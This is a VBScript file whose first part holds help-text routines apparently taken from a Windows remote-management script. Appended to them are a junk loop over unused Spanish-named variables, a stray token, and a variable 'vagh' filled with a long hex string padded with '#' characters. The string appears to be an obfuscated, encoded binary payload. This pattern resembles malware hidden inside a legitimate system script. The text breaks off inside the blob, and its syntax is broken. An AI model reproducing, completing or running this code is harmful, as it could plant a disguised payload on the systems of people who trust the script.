GetResource("X_Help_SeeAlso_Create_Message") & NL & _
GetResource("X_Help_SeeAlso_Invoke_Message")
End Sub
'''''''''''''''''''''
' HELP - REMOTE
Private Sub HelpRemote(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpRemote_001_0_Message") & NL & _
GetResource("L_HelpRemote_002_0_Message") & NL & _
GetResource("L_HelpRemote_003_0_Message") & NL & _
GetResource("L_HelpRemote_004_0_Message") & NL & _
GetResource("L_HelpRemote_005_0_Message") & NL & _
GetResource("L_HelpRemote_006_0_Message") & NL & _
GetResource("L_HelpRemote_007_0_Message") & NL & _
GetResource("L_HelpRemote_008_0_Message") & NL & _
GetResource("L_HelpRemote_009_0_Message") & NL & _
GetResource("L_HelpRemote_010_0_Message") & NL & _
GetResource("L_HelpRemote_011_0_Message") & NL & _
GetResource("L_HelpRemote_012_0_Message") & NL & _
GetResource("L_HelpRemote_012_1_Message") & NL & _
GetResource("L_HelpRemote_012_2_Message") & NL & _
GetResource("L_HelpRemote_012_3_Message") & NL & _
GetResource("L_HelpRemote_012_4_Message") & NL & _
GetResource("L_HelpRemote_012_5_Message") & NL & _
GetResource("L_HelpRemote_012_6_Message") & NL & _
GetResource("L_HelpRemote_013_0_Message") & NL & _
GetResource("L_HelpRemote_014_0_Message") & NL & _
GetResource("L_HelpRemote_015_0_Message") & NL & _
GetResource("L_HelpRemote_016_0_Message") & NL & _
GetResource("L_HelpRemote_017_0_Message") & NL & _
GetResource("L_HelpRemote_018_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteExample_001_0_Message") & NL & _
GetResource("X_HelpRemoteExample_002_0_Message") & NL & _
GetResource("L_HelpRemoteExample_003_0_Message") & NL & _
GetResource("L_HelpRemoteExample_004_0_Message") & NL & _
GetResource("X_HelpRemoteExample_005_0_Message") & NL & _
GetResource("L_HelpRemoteExample_006_0_Message") & NL & _
GetResource("L_HelpRemoteExample_007_0_Message") & NL & _
GetResource("X_HelpRemoteExample_008_0_Message") & NL & _
GetResource("L_HelpRemoteExample_009_0_Message") & NL & _
GetResource("L_HelpRemoteExample_010_0_Message") & NL & _
GetResource("X_HelpRemoteExample_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_001_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_002_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_003_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_004_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_001_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_002_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_003_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteConfig_001_0_Message") & NL & _
GetResource("X_Help_SeeAlso_Config_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - CONFIG
Private Sub HelpConfig(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpConfig_001_0_Message") & NL & _
GetResource("L_HelpConfig_002_0_Message") & NL & _
GetResource("L_HelpConfig_003_0_Message") & NL & _
GetResource("L_HelpConfig_004_0_Message") & NL & _
GetResource("L_HelpConfig_005_0_Message") & NL & _
GetResource("L_HelpConfig_006_0_Message") & NL & _
GetResource("L_HelpConfig_007_0_Message") & NL & _
GetResource("L_HelpConfig_008_0_Message") & NL & _
GetResource("L_HelpConfig_009_0_Message") & NL & _
GetResource("X_HelpConfig_010_0_Message") & NL & _
GetResource("X_HelpConfig_011_0_Message") & NL & _
GetResource("X_HelpConfig_012_0_Message") & NL & _
GetResource("X_HelpConfig_012_1_Message") & NL & _
GetResource("X_HelpConfig_012_2_Message") & NL & _
GetResource("X_HelpConfig_012_3_Message") & NL & _
GetResource("X_HelpConfig_012_4_Message") & NL & _
GetResource("L_HelpConfig_013_0_Message") & NL & _
GetResource("L_HelpConfig_014_0_Message") & NL & _
GetResource("L_HelpConfig_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigAddress_001_0_Message") & NL & _
GetResource("L_HelpConfigAddress_002_0_Message") & NL & _
GetResource("L_HelpConfigAddress_003_0_Message") & NL & _
GetResource("L_HelpConfigAddress_004_0_Message") & NL & _
GetResource("L_HelpConfigAddress_005_0_Message") & NL & _
GetResource("L_HelpConfigAddress_006_0_Message") & NL & _
GetResource("L_HelpConfigAddress_007_0_Message") & NL & _
GetResource("L_HelpConfigAddress_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigTransport_001_0_Message") & NL & _
GetResource("L_HelpConfigTransport_002_0_Message") & NL & _
GetResource("L_HelpConfigTransport_003_0_Message") & NL & _
GetResource("L_HelpConfigTransport_004_0_Message") & NL & _
GetResource("L_HelpConfigTransport_005_0_Message") & NL & _
GetResource("L_HelpConfigTransport_006_0_Message") & NL & _
GetResource("L_HelpConfigTransport_007_0_Message") & NL & _
GetResource("L_HelpConfigTransport_008_0_Message") & NL & _
GetResource("L_HelpConfigTransport_009_0_Message") & NL & _
GetResource("L_HelpConfigTransport_010_0_Message") & NL & _
GetResource("L_HelpConfigTransport_011_0_Message") & NL & _
GetResource("L_HelpConfigTransport_012_0_Message") & NL & _
GetResource("L_HelpConfigTransport_013_0_Message") & NL & _
GetResource("L_HelpConfigTransport_014_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigExamples_001_0_Message") & NL & _
GetResource("X_HelpConfigExamples_002_0_Message") & NL & _
GetResource("L_HelpConfigExamples_003_0_Message") & NL & _
GetResource("L_HelpConfigExamples_004_0_Message") & NL & _
GetResource("X_HelpConfigExamples_005_0_Message") & NL & _
GetResource("L_HelpConfigExamples_006_0_Message") & NL & _
GetResource("L_HelpConfigExamples_007_0_Message") & NL & _
GetResource("X_HelpConfigExamples_008_0_Message") & NL & _
GetResource("L_HelpConfigExamples_009_0_Message") & NL & _
GetResource("L_HelpConfigExamples_010_0_Message") & NL & _
GetResource("X_HelpConfigExamples_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_CertMapping_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - CertMapping
Private Sub HelpCertMapping(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCertMapping_001_0_Message") & NL & _
GetResource("L_HelpCertMapping_002_0_Message") & NL & _
GetResource("L_HelpCertMapping_003_0_Message") & NL & _
GetResource("L_HelpCertMapping_003_1_Message") & NL & _
GetResource("L_HelpCertMapping_004_0_Message") & NL & _
GetResource("L_HelpCertMapping_005_0_Message") & NL & _
GetResource("L_HelpCertMapping_006_0_Message") & NL & _
GetResource("L_HelpCertMapping_007_0_Message") & NL & _
GetResource("L_HelpCertMapping_008_0_Message") & NL & _
GetResource("L_HelpCertMapping_009_0_Message") & NL & _
GetResource("L_HelpCertMapping_009_1_Message") & NL & _
GetResource("L_HelpCertMapping_009_2_Message") & NL & _
GetResource("L_HelpCertMapping_009_3_Message") & NL & _
GetResource("L_HelpCertMapping_010_0_Message") & NL & _
GetResource("L_HelpCertMapping_011_0_Message") & NL & _
GetResource("L_HelpCertMapping_012_0_Message") & NL & _
GetResource("L_HelpCertMapping_012_1_Message") & NL & _
GetResource("L_HelpCertMapping_012_2_Message") & NL & _
GetResource("L_HelpCertMapping_013_0_Message") & NL & _
GetResource("L_HelpCertMapping_014_0_Message") & NL & _
GetResource("L_HelpCertMapping_014_1_Message") & NL & _
GetResource("L_HelpCertMapping_014_2_Message") & NL & _
GetResource("L_HelpCertMapping_014_3_Message") & NL & _
GetResource("L_HelpCertMapping_014_4_Message") & NL & _
GetResource("L_HelpCertMapping_015_0_Message") & NL & _
GetResource("L_HelpCertMapping_016_0_Message") & NL & _
GetResource("L_HelpCertMapping_017_0_Message") & NL & _
GetResource("L_HelpCertMapping_018_0_Message") & NL & _
GetResource("L_HelpCertMapping_019_0_Message") & NL & _
GetResource("L_HelpCertMapping_020_0_Message") & NL & _
GetResource("L_HelpCertMapping_021_0_Message") & NL & _
GetResource("L_HelpCertMapping_022_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_001_0_Message") & NL & _
GetResource("X_HelpCertMappingExamples_002_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_003_0_Message") & NL & _
GetResource("X_HelpCertMappingExamples_004_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_configSDDL_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - CUSTOMREMOTESHELL
Private Sub HelpCustomRemoteShell(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCustomRemoteShell_001_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_001_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_002_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_003_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_004_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_005_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_006_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_007_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_008_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_009_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_010_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_011_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_011_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_2_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_013_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_013_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_014_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_001_0_Message") & NL & _
GetResource("X_HelpCustomRemoteShellExamples_002_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_003_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_004_0_Message") & NL & _
GetResource("X_HelpCustomRemoteShellExamples_005_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message")
End Sub
'''''''''''''''''''''
' HELP - QUICKCONFIG
Private Sub HelpQuickConfig(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpQuickConfig_001_0_Message") & NL & _
GetResource("X_HelpQuickConfig_002_0_Message") & NL & _
GetResource("L_HelpQuickConfig_003_0_Message") & NL & _
GetResource("L_HelpQuickConfig_004_0_Message") & NL & _
GetResource("L_HelpQuickConfig_005_0_Message") & NL & _
GetResource("L_HelpQuickConfig_006_0_Message") & NL & _
GetResource("L_HelpQuickConfig_007_0_Message") & NL & _
GetResource("L_HelpQuickConfig_008_0_Message") & NL & _
GetResource("X_HelpQuickConfig_009_0_Message") & NL & _
GetResource("X_HelpQuickConfig_010_0_Message") & NL & _
GetResource("X_HelpQuickConfig_010_1_Message") & NL & _
GetResource("L_HelpQuickConfig_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpQuickConfig_012_0_Message") & NL & _
GetResource("X_HelpQuickConfig_013_0_Message") & NL & _
GetResource("L_HelpQuickConfig_014_0_Message") & NL & _
GetResource("L_HelpQuickConfig_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpQuickConfig_016_0_Message") & NL & _
GetResource("X_HelpQuickConfig_017_0_Message") & NL & _
GetResource("L_HelpQuickConfig_018_0_Message") & NL & _
GetResource("L_HelpQuickConfig_019_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Config_Message")
End Sub
'''''''''''''''''''''
' HELP - URIS
Private Sub HelpUris(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpUris_001_0_Message") & NL & _
GetResource("L_HelpUris_002_0_Message") & NL & _
GetResource("L_HelpUris_003_0_Message") & NL & _
GetResource("L_HelpUris_004_0_Message") & NL & _
GetResource("X_HelpUris_005_0_Message") & NL & _
GetResource("L_HelpUris_006_0_Message") & NL & _
GetResource("L_HelpUris_007_0_Message") & NL & _
GetResource("X_HelpUris_008_0_Message") & NL & _
GetResource("X_HelpUris_009_0_Message") & NL & _
GetResource("X_HelpUris_010_0_Message") & NL & _
GetResource("L_HelpUris_011_0_Message") & NL & _
GetResource("L_HelpUris_012_0_Message") & NL & _
GetResource("X_HelpUris_013_0_Message") & NL & _
GetResource("X_HelpUris_013_1_Message") & NL & _
GetResource("X_HelpUris_014_0_Message") & NL & _
GetResource("L_HelpUris_015_0_Message") & NL & _
GetResource("L_HelpUris_015_1_Message") & NL & _
GetResource("L_HelpUris_015_2_Message") & NL & _
GetResource("L_HelpUris_015_3_Message") & NL & _
GetResource("X_HelpUris_015_4_Message") & NL & _
GetResource("L_HelpUris_015_5_Message") & NL & _
GetResource("L_HelpUris_015_6_Message") & NL & _
GetResource("L_HelpUris_015_7_Message") & NL & _
GetResource("X_HelpUris_015_8_Message") & NL & _
GetResource("L_HelpUris_015_9_Message") & NL & _
GetResource("L_HelpUris_016_0_Message") & NL & _
GetResource("L_HelpUris_017_0_Message") & NL & _
GetResource("L_HelpUris_018_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub
'''''''''''''''''''''
' HELP - ALIAS
Private Sub HelpAlias(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpAlias_001_0_Message") & NL & _
GetResource("L_HelpAlias_002_0_Message") & NL & _
GetResource("L_HelpAlias_003_0_Message") & NL & _
GetResource("X_HelpAlias_004_0_Message") & NL & _
GetResource("X_HelpAlias_005_0_Message") & NL & _
GetResource("X_HelpAlias_006_0_Message") & NL & _
GetResource("X_HelpAlias_007_0_Message") & NL & _
GetResource("X_HelpAlias_008_0_Message") & NL & _
GetResource("X_HelpAlias_009_0_Message") & NL & _
GetResource("L_HelpAlias_010_0_Message") & NL & _
GetResource("L_HelpAlias_011_0_Message") & NL & _
GetResource("x_HelpAlias_012_0_Message") & NL & _
GetResource("L_HelpAlias_013_0_Message") & NL & _
GetResource("L_HelpAlias_014_0_Message") & NL & _
GetResource("X_HelpAlias_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message")
End Sub
For i = 1 To 1000
variableSinUso1 = i * 2
variableSinUso2 = variableSinUso1 + 5
variableSinUso3 = variableSinUso1 / variableSinUso2
Next
hrd
Dim vagh: vagh =
"##################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
##########################################3#8#3A7#347#3E6#386#326#3C5#365#3#5#3A4#3
44#3E3#383#323#3C2#362#3#2#3A1#341#3E##38##32#######43#####6######73C57385734573#57
344734173#173C#738#63CF634C63#C63CB638B63CA63C86388634863#8634763C46384634463#46343
6381634163#163C#63##53CD538D534D538C534A53C65386534653#653C55385534553#553C45384534
453#453C35383534353#353C25382534253#253C15381438F438D434B43CA438A434A43#A43C9434943
C84388434843#843C7434743C64386434643#643C5434543C44384434443#443C3434343C2438243424
3#243C1434143C#438#434#43##33CF334F33CE338E334E33#E33CD334D33CC338C334C33#C33CB334B
33CA338A334A33#A33C9334933C83388334833#833C733873385338333C#338#334#33##23CF23CE238
E234E23#E23CD23CC238C234C23#C23CB23CA238A234A23#A23C923C82388234823#823C723C6238623
4623#623C5238523#523C42384234423#423C323C22382234223#223C123C#238#234#23##13CF13CE1
38E134E13#E13CD1381134113#113C#138#134#13###3CF#38F#34F#3#F#3CE#38E####1##8#####4##
#364#383#3#3#382#######1#####3######73A4732373C27342636D63DB637B63FA63F86398536953#
95381531#43BF2345231113AD13#A13261382######43#####2##D344D3B2D312C3CFC3AEC38DC36CC3
4BC32AC3#9C3E7C3F6C3#6C315C324C333C342C351C36#B36CB3A8B344B322B3D1A31AA3B9A339A366A
3#6A3A59383836D833C835B83DA83A#73DF7311635F63FE43CB43F3438133FA33E933383347333333C2
331223DC23CB231923A723D523A2234223812321232#131F13AD131A132913681375132513D4139##35
A#3#A#3B9#319#337#336#335#3E3#352#3F1#3E#######8A#####1############################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###########################################2756672756352756473796765627E655C6C644##
2756672756352756473796765625C6C644##C6C6164737E694C6C644##473656A626F4373716C634475
674C6C644##77F6E44616F6C6E655E61634C6C644##C6C646E287#7162777E69746####117E#####113
####2125####21#7#####1E1#####78A#####769#####7B8#####797#####796######4###3###2###1
##########782#####743#####784######5#######5#######1######7C5########848F5753######
###################################################################################
###################################################################################
###################################################################################
#######################################################################E656C476E696
27473536F6C6C614379735##A5##76E69627473556562764379735##B5##76E69627473536F6C6C6143
79735##85##C6C646E2233345551454C4F4##44945574C6165717543794##5D##C6C646E2233356C6F6
####E656C63736773#C2#####7D63696373677F52#82####E656C62747373#4#####6647E69627#7372
#8F##C6C646E24727366737D6##9727F6D656D45667F6D4C647252#CB##2716863456469675F6455647
97249647C657D42#D5##564797249647C657D4F64527168634564696753#77####75972716272696C44
616F6C42#D3####56562764C61626F6C6741#AE####47E656D656273656444656B636F6C6275647E694
2#21####47E656D6562736E6944656B636F6C6275647E6942#61##36F6C6C614C61626F6C6741#3E##9
72716272696C456562764##9E##1456E696C446E616D6D6F6344756741#2#####1456D616E456C69664
56C65746F6D44756741#C6####3737562746461436F627#54756741##9####14972716272696C44616F
6C42#A3####37C6C61634972716272696C446165627864556C62616379644##48##C6C646E22333C454
E42554B4############36E4####36E3####36D2############3621############26EF####262F###
#268E####26DD############262C####26CA####2669####2668####2687####26#6####2684####26
A3####26C2####26A1####264#####162F####162E####165C############36E4####36E3####36D2#
###########3621############26EF####262F####268E####26DD############262C####26CA####
2669####2668####2687####26#6####2684####26A3####26C2####26A1####264#####162F####162
E####165C############################################16#4####36#2##################
##168A####1683####368#####################16#A####1642####262D####################1
6C8#####68E####168B####################16#5#1##168452FF#1##164452FF#1##16#452FF#1##
168352FF#1##16#352FF#1##16C252FF#1##168252FF#1##164252FF#1##16C152FF#1##168152FF#1#
#164152FF#1##16#152FF#1##16C#52FF#1##168#52FF#1##164#52FF#1##16##52FF#1###6CF52FF#1
###68F52FF#1###64F52FF#1###6#F52FF#1###6CE52FF#1###68E52FF#########################
###################################################################################
###################################################################################
#################4#4E4#9###########E6##F6##96##47##16##C6##37##E6##16##27##45######
4###42##########F6##66##E6##94##56##C6##96##64##27##16##65##1#######44###########3#
##3##E2##13######E6##F6##96##37##27##56##65##47##36##57##46##F6##27###5##1###5###E2
######85##27##56###7###7##16##27##75##36##96##D6##16##E6##97##44##########56##D6##1
6##E4##47##36##57##46##F6##27###5##1####1###4##########C6##C6##46##E2##87###7##16##
27##77##E6##97##46######56##D6##16##E6##56##C6##96##64##C6##16##E6##96##76##96##27#
#F4##1###D###24##########83###3###3##23###2##C2##67##F6###7##F6###5###2##96##27##57
##95###2##9A######47##86##76##96##27##97###7##F6##34##C6##16##76##56##C4##1###31##A
4##########87###7##16##27##77##E6##97##46######56##D6##16##E4##C6##16##E6##27##56##
47##E6##94##1###9###23###########3###3##E2##13##########E6##F6##96##37##27##56##65#
#56##C6##96##64##1###5###A2##########47##36##56##A6##26##F6###2##85##27##56###7###7
##16##27##75##36##96##D6##16##E6##97##44##########E6##F6##96##47###7##96##27##36##3
7##56##44##56##C6##96##64##1###71##65##################56##D6##16##E4##97##E6##16##
#7##D6##F6##34##1###1###22##########E2##47###7##96##27##36##35##24##65###2##46##E6#
#16###2##47###7##96##27##36##35##A4###2##E6##96###2##37##C6##C6##16##36###2##E6##F6
##96##47##36##E6##57##66###2##C4##C4##44###2##27##F6##66###2##37##77##F6##C6##C6##1
4######37##47##E6##56##D6##D6##F6##34##1###73##68######43##54##43###3##93###3##43##
#3##1#####2#A7######F6##66##E6##94##56##C6##96##64##76##E6##96##27##47##35##1#####2
#E9##############################2#######4###########################1#############
##1#######1#####EFFE4#DB##########F4##64##E4##94##F5##E4##F4##94##35##25##54##65##F
5##35##65######433##4####################3##4#####585######84####4#91##1###########
##848F5753#########8#####3######1###1#############848F5753#########8####81#######1#
#1#####43#31494848F5753############################################################
###################################################################################
###################################################################################
###################################################4214F42#########################
#######37523752##14#1##64CF#1##51#D#1##74E3#1##74A2######5########1#1##7481########
##########A#######A#######A#######A#######A#######27##56##47##37##96##76##56##25#1#
#64CA#1##A1#4#1##646F#1##64AE######3#######F##1##648C##########3#######A#######A###
####3#######B6##36##16##26##C6##C6##16##34##27##56##47##37##96##76##56##25#1##6447#
1##425D#1###342#1##64E9######3#######E##1##64#9##########A###############3#######47
##56##74##D6##57##E4#1##6443#1##52A6#1##64E6#1##64E5######4#######D##1##64#5#######
###3#######A###############3#######A1######47##57###5##D6##57##E4#1##64###1##6281#1
##64#3#1##6482######2#######C##1##64C1######A1######A#######2#######56##36##16###7#
#35#1##548C#1##6227#1##54AF#1##542F######2#######B##1##544E##########3#######A#####
##A1######27##47###5##27##47##35#########1##726##1###3#2#1##54EB######2#######A##1#
#54#B##########A#######3#######47##56##74##27##47##35#################1##323E######
###################################################################################
################1##32E9#1##325A#1##329D#1##32F6#1##3238#1##32#4#1##3233#1##3274#1##
3253#1##32E4#1##32E4#1##3263#1##3263#1##324##1##324##1##324##1##324##1##324##1##324
##1##324##1##324##1##22D9#########################################################1
##224A#########################################################1##22ED#############
####################################################1##2224#########1##22#5#1##2246
#1##2273#1##22E3#1##2224#########1##22A7#########1##2229#1##2288#1##22F6#1##2267#1#
#22A7#########1##228##########1##22C2#1##2212#1##22###1##22###1##22D##########1##12
1D#########1##125F#1##12AE#1##126C#1##12DC#1##126D#########1##1279#########1##12BB#
1##12#B#1##1288#1##12F8#1##12C9#########1##1295#########1##12D7#1##1227#1##12E4#1##
1255#1##12E5#########1##12F1#########1##1234#1##1283#1##12#1#1##1271#1##1242#######
##1##12F1#########1##1234#1##1283#1##12#1#1##1271#1##1242#########1###2BE#########1
###2AF#1##125##1###2#E#1###27E#1###2#F#########1###2BB#########1###2AC#1###25D#1###
2#B#1###27B#1###2#C#1###224########################################################
#1###294#########################################################1###293###########
######################################################################1###26##1##F1
FE#1###222#1###2A1#1###221#########################1##F1BB#1##F13C#1##F1FD#1##F17D#
1##F1FC#########################1##F129#1##F1A9#1##F177#1##F1C6#1##F158############
#############1##F134#1##F1B4#1##F132#1##F163#1##F173#########################1##E1A
F#1##F12##1##E13D#1##E
1AD#1##E1DE#########################1##E1AA#1##E12B#1##E198#1##E1#9#1##E1A9#1###293
#########1##E1D4#1##E1A5#1##E126#1##E1A3#1##E114#1##E1D4#########################1#
#E1A5#1##E126#1##E1A3#1##E114#1##E1D4#########################1##E11##1##E19##1##D1
#F#1##D17F#1##D18F#########################1##D17C#1##D1FC#1##D16B#1##D1DB#1##D1EB#
#####8###8#######9###4###5###11##2###3#######A1##A5##35##75##64##44##24##34##45##E4
###5##55##84##C4##A7##37##77##66##46##26##36##47##E6###7##57##86##C6######149756B45
64756C656448435##C6C646E296#71677C68637##3752C53752##449435C434##3752C53752##233327
566727563536F627#5E694##9756B45637F6C634765625##1487545657C61665475635765625##14875
49756B4564716562734765625##C6C646E2233396#716674614#1##41EA#1##4153#1##41D2#1##4152
#1##314F#1##314E#1##31E8#1###48E#1##31C6#1##312##1##21CF#1##216F#1##21FACCCDE539B87
9E219A4347A419865255764#############C##########2#4###64#############C##############
1#64#############C######################################################D7343434445
453339324837393D254231393D233431643D243137314D25373235363539383B7C5449435C434C53756
373716C634C5562716774766F635##852756#7#71627753696D616E69744C53756373716C634C556271
6774766F635##D7343434445453339324837393D254231393D233431643D243137314D2537323536353
9383B7##852756#7#71627753696D616E69744#############################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
##1###3C3######C6##C6##16##36#1###3#5######F##1##C12##########1##7444##############
A##########################8####2##################################################
###################################################################################
###################################################################################
###################################################################################
################################7EBE9F#82###E#8BFEBE9F#82###5#8B##C#2CD5E5F5B5CE988
F8154B8#1###3#251983127A#AF38A4AC92B157FA662FCFAC989E1D#1##144CD#B8#1##14#9FB##B866
#1##72F18B######774#BEB#57#C58C154B8D4476F588157B84#CE385E98357565557EBE9F#82###E#8
BFEBE9F#82###5#8B##C#2CD5E5F5B5CE988F1#27FFFF6F6A8E#3FF65##A6##A6#D1#8D1##1##14CD8B
5#3E1C422771BF38B4BC92C257FA662F9E1DBC98#1##144CD#B8#1##14#9FB##B866#1##62AA8B#####
#774#BEB#57#C58C154B82#2E1CA4AC92B557FA662FCFAC98#1##148DD#B8#1##148CFB6#B8######87
48F#6F588157B84#CE385E9835756555FEBE9F#87###E#8B##C#2CD5E5F5B5CE988F#D98####7#7C66B
A662#37BA3FCF9E1D81D4B8###2###28B5#BE8D9866#1#E1C8D986681B866E#47#C58C154B87C982C98
B347#C58####A3358E##A68157FF4#CE385E98357565559DBE9F#8###43#8B1EBE9F#82###5#8B6EBE4
#6C38E19DDEBE8#6C38E1DD##412CD5E5F5B5CE988F#F984#6C386#985#BE64646#9866C#BE646#88B2
BE62479#BF3842478#BF38C#677#BF3861675#BF3822673#BF38F227FFFF7FA48E8157FFCF424#3855C
FD59885779#BF38B4BC92#######658F#FA662FCFBC989E1D#1##144CD#B8#1##14#9FB##B866F1BEBD
134#57#C584254B8#2573#######2948F#6F58C157B84#CE385E9835756555#DBE9F#8###43#8B8DBE9
F#82###5#8BFDBE6#DD3EBDB96EBE6#9D3EBDB9DEBE6#A81FBE6#B866###12CD5E5F5B5CE988F6#B832
BE71479#AF3832478#AF38D1677#AF38D1675#AF3861673#AF38#1###3425198A4AC92######7458F#F
A662FCFAC989E1D#1##144CD#B8#1##14#9FB##B866F1BE2D134#57#C58#254B8C1573#######9748F#
6F588157B84#CE385E9835756555FEBE9F#8###43#8B##4#2CD5E5F5B5CE988F3F2E9D98####B39B8E#
5BC98DACF####1##97BD8413EC#F4B8FE2E9D987257#C58####B3498E#5BC98DACF####1##17BD8813E
8#F4B841D7B84#CE385E9835756555FBBE9F#87###E#8B7CBE8FC#A49814####1##9A84898C#A4B8415
5B84147#C58####C3118EC#57FF8#BE####C3728EC#57FF#157FFD#47###1D738###12CD5CE988F85##
##C3#18E#5C#57FF#157FF#5E#47##C#D7388#A49814####1##1A848988#A4B84155B8F547#C58####C
3E#8E##A6#157FFA377##8#D7384#CE385E9855#9#9#9#9#9#9#9#9#9#9#9#93C9F#87###E#8B3C8F##
8#7#7C668#7498A#47#C58####C3398E#5A#BEE5F5#F98####C3578E35##A6#575657574698247#C58#
###C3DB8E##A6#57C984#4C38####C36A8E#56C987565########BB5#BE######1#BB3C8F4#6C383#47
6F58##5#7#7C668#F5DDCF64DD3EBDB96#476F583C8F##5#7#7C668#F5DDCF649D3EBDB96#476F583C8
F##5#7#7C668#F5DD8FD6FD3EBDB9########CF547C8F54981E67F7FFFFFFD38EBE####FFFF52FEBE##
####FF523C8F##3#7#7C668#7498898966##C#2CD5E5F5B5CE98#F982#274155FF4#6C386#B85#476F5
8C157B881D7B88#CE385E98357565553C8F73984#FE383C9F#87###E#8B3C8FA#98144#E5986#98#1AC
47D8A#B8#255B87#9831874#FE38####4##BBB5#BEB5#F98####D3F98E35####D3F68E#5##A63525653
9A57347#C58####D3#B8E65#5#5##A6##A6#44#4C38####D34B8E#56C9835########BB5#BE######1#
